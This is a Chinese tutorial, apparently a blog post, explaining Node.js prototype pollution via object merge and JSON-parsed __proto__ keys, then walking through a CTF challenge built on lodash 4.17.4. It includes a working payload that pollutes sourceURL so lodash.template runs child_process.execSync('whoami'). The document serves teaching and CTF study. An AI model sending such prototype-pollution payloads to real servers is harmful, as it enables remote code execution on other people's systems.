溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何解析Node.js原型鏈污染的利用

發(fā)布時間:2021-12-14 10:17:19 來源:億速云 閱讀:193 作者:柒染 欄目:網(wǎng)絡(luò)管理

如何解析Node.js原型鏈污染的利用,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

0x00 前言

我將介紹在什么情況下原型鏈會被污染,以及通過ctf題來展示實際場景中如何去利用原型鏈污染。

0x01 哪些情況下原型鏈會被污染

修改一個對象的原型中的屬性,影響到新實例化出來的對象,使其帶上了我們給對象原型添加的屬性,這就是原型鏈污染,那么在實際應(yīng)用中哪些情況會存在原型鏈被污染的可能呢?

之前說過在JavaScript中對象就是鍵值對的集,并且我們試驗過這樣一段代碼:

var obj = {
   "name": "ErDogQAQ",
   "team": "ATL"
}

console.log(obj.name);
console.log(obj.team);
console.log(obj);

如何解析Node.js原型鏈污染的利用

發(fā)現(xiàn)了對象中存在一個名為__proto__的鍵,而他就指向他構(gòu)造函數(shù)的原型,我們后面也通過A.__proto__.a = 2;這樣修改這個鍵的值的方式造成了原型鏈污染,呢么我們也就有思路了,只要找到那些我們能夠控制數(shù)組(也就是對象)的鍵名的操作,我們就可以通過修改鍵名為__proto__并控制它的值的方式來造成原型鏈污染。

在實際中能夠進行這種參數(shù)的函數(shù)一般有:

  • 對象合并(merge);

  • 對象克?。╟lone)(本質(zhì)還是將一個對象合并到空對象中)

我們以合并為例,先搞一個merge函數(shù):

function merge(target, source) {
   for (let key in source) {
       if (key in source && key in target) {
           merge(target[key], source[key])
      } else {
           target[key] = source[key]
      }
  }
}

在合并的過程中存在賦值的操作:target[key] = source[key]那么我們將key改為__proto__是不是就可以原型鏈污染了呢?我們用代碼來實驗一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o2)

如何解析Node.js原型鏈污染的利用

可以看到,合并確實成功了,o1本來是空對象,現(xiàn)在已經(jīng)有了屬性a和b,但是原型鏈并沒有被污染,新構(gòu)造的對象o3并沒有帶上我們預(yù)想的屬性b。

我們來分析一下原因,隨后查看對象o2發(fā)現(xiàn),在我們創(chuàng)建o2的時候,__proto__已將代表了o2的原型,此時去遍歷o2的所有鍵名拿到的值是[a,b],而__proto__并沒有作為鍵名被賦值,所以我們并沒有修改Object的原型。

那么我們?nèi)绾尾拍茏?code>__protp__被認為是一個鍵名呢?答案是利用JSON解析。

我們修改一下代碼:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o2)

如何解析Node.js原型鏈污染的利用

可以看到這次新建的o3對象已經(jīng)帶上了b屬性,說明Object已經(jīng)被污染,同樣我們看o2對象時也可以看到,__proto__也被認為是一個鍵名了。

這是因為,JSON解析的情況下,__proto__會被認為是一個真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時候會存在這個鍵。

merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫都存在這個問題。

下面我們就開始結(jié)合ctf中的題目進行實際分析。

0x02 搭建調(diào)試環(huán)境

通常在ctf中原型鏈污染的題目都會直接給出源碼,并且源碼通常都比較長,直接去看并不能很好的理解代碼,所以需要本地搭建一個環(huán)境來方便我們本地嘗試以及動態(tài)調(diào)試。

這里以Code-Breaking 2018的Thejs這一題為例。

下載node.js:

這個就不多解釋了直接去官網(wǎng)下載并安裝就可以了。

如何解析Node.js原型鏈污染的利用

安裝完后直接在cmd下輸入node命令就可以像python一樣進入命令交互模式了。

下載源碼:

https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web

安裝依賴包:

在cmd中進入源碼所在的目錄,然后直接執(zhí)行npm install命令就可以自動安裝所需的依賴包了。

如何解析Node.js原型鏈污染的利用

安裝完后可以看到他提示我們發(fā)現(xiàn)了4個漏洞,可以運行npm audit fix進行修復(fù),或運行npm audit獲取詳細信息。

這里我們就運行npm audit看一下詳細信息:

如何解析Node.js原型鏈污染的利用

可以看到它告訴我們在lodash這個包中有4個原型污染漏洞,這正是我們需要利用的地方所以一會我們就著重看與lodash相關(guān)的代碼就可以了。(注意這里版本是4.17.4,在新版本中漏洞已經(jīng)被修復(fù))

調(diào)試:

這里我使用VS Code 進行調(diào)試,打開VS Code后點擊打開文件夾,打開源碼所在目錄,打開server.js然后點擊左邊的運行/調(diào)試按鈕,點擊創(chuàng)建 launch.json 文件,選擇環(huán)境為node.js

如何解析Node.js原型鏈污染的利用

然后就會自動在目錄下生成一個.vscode文件夾里面有一個launch.json文件,檢查program是否為server.js,沒有問題直接點擊啟動程序就能夠正常啟動或者斷點調(diào)試了。

如何解析Node.js原型鏈污染的利用

0x03 嘗試解題

我們先看一下題目源碼:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

剛才已經(jīng)知道了lodash包中有反序列化漏洞,所以我們著重看與lodash相關(guān)的代碼和我們上傳數(shù)據(jù)的地方就可以了。

......
const lodash = require('lodash')
......
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
......
app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)		
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

我們可以看到與lodash相關(guān)的代碼有兩句:

let compiled = lodash.template(content)
data = lodash.merge(data, req.body)

查詢官方文檔后知道

lodash.template的作用:

如何解析Node.js原型鏈污染的利用

簡單理解就是一個簡單的模板引擎,會將content內(nèi)容放進模板渲染。

lodash.merge的作用:

如何解析Node.js原型鏈污染的利用

這個不用多解釋,就是我們?nèi)账家瓜氲膶ο蠛喜⒑瘮?shù)了,能夠污染原型鏈的十有八九就是這里了。

那么我們就來試試是否真的能夠污染原型鏈:

我們在代碼中下好斷點,然后提交參數(shù)。

●  if (req.method == 'POST') {           //在這里下斷點
       data = lodash.merge(data, req.body)
       req.session.data = data
  }

這里還需要注意,直接提交是不能造成原型鏈污染的,因為我們之前也試過了,只有在JSON解析的情況下__proto__才會被認為是一個鍵名,才能夠造成原型鏈污染。那么我們?nèi)绾尾拍茏屛覀儌魅氲膮?shù)按照JSON解析呢?

這里我們在代碼中看到const app = express()題目使用的是express框架,而express框架支持根據(jù)Content-Type來解析請求Body,所以我們只需要將Content-Type改為application/json即可。

我們提交一個參數(shù):{"__proto__":{"A":"ATL"}}看看到底會不會造成原型鏈污染:

如何解析Node.js原型鏈污染的利用

提交后我們將代碼步過到merge函數(shù)處理之后:

如何解析Node.js原型鏈污染的利用

可以看到經(jīng)過merge函數(shù)處理data的原型也就是Object中果然帶上了A屬性,證明了此處存在原型鏈污染漏洞。

那么我們現(xiàn)在找到了能夠污染原型鏈的地方,接下來就要想想如何利用了,我們又想起了template函數(shù)的官方文檔中寫了可以使用sourceURLs進行調(diào)試,那我們就跟進template函數(shù)看看:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
......
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

可以看到先是判斷options中是否有屬性sourceURL,如果有就進行拼接,沒有則為空,然后將這個值拼接進new Function的第二個參數(shù)。

那么我們現(xiàn)在就有思路了,我們可以利用原型鏈污染,給Object中插入一個sourceURL屬性,當執(zhí)行到template中時,判斷options中原本是沒有sourceURL的,但是因為JavaScript的查找機制會一直向上查找,查到Object中時找到了sourceURL,然后就會拼接進new Function造成任意代碼執(zhí)行。

有了攻擊思路,那么我們就來構(gòu)造payload測試:

{"__proto__":{"sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "}}

如何解析Node.js原型鏈污染的利用

提交后我們還是回來看調(diào)試信息:

如何解析Node.js原型鏈污染的利用

可以看到經(jīng)過merge函數(shù)處理,Object中已經(jīng)帶上了sourceURL屬性,我們到template函數(shù)時步入在看看能否獲取到sourceURL屬性:

如何解析Node.js原型鏈污染的利用

在這里步入:

如何解析Node.js原型鏈污染的利用

可以看到這里sourceURL有值說明這里成功獲取到了sourceURL屬性,那么我們最后看一下執(zhí)行結(jié)果:

如何解析Node.js原型鏈污染的利用

可以看到,成功執(zhí)行了命令。到此我們就進行了一次完整的原型鏈污染利用。

看完上述內(nèi)容,你們掌握如何解析Node.js原型鏈污染的利用的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI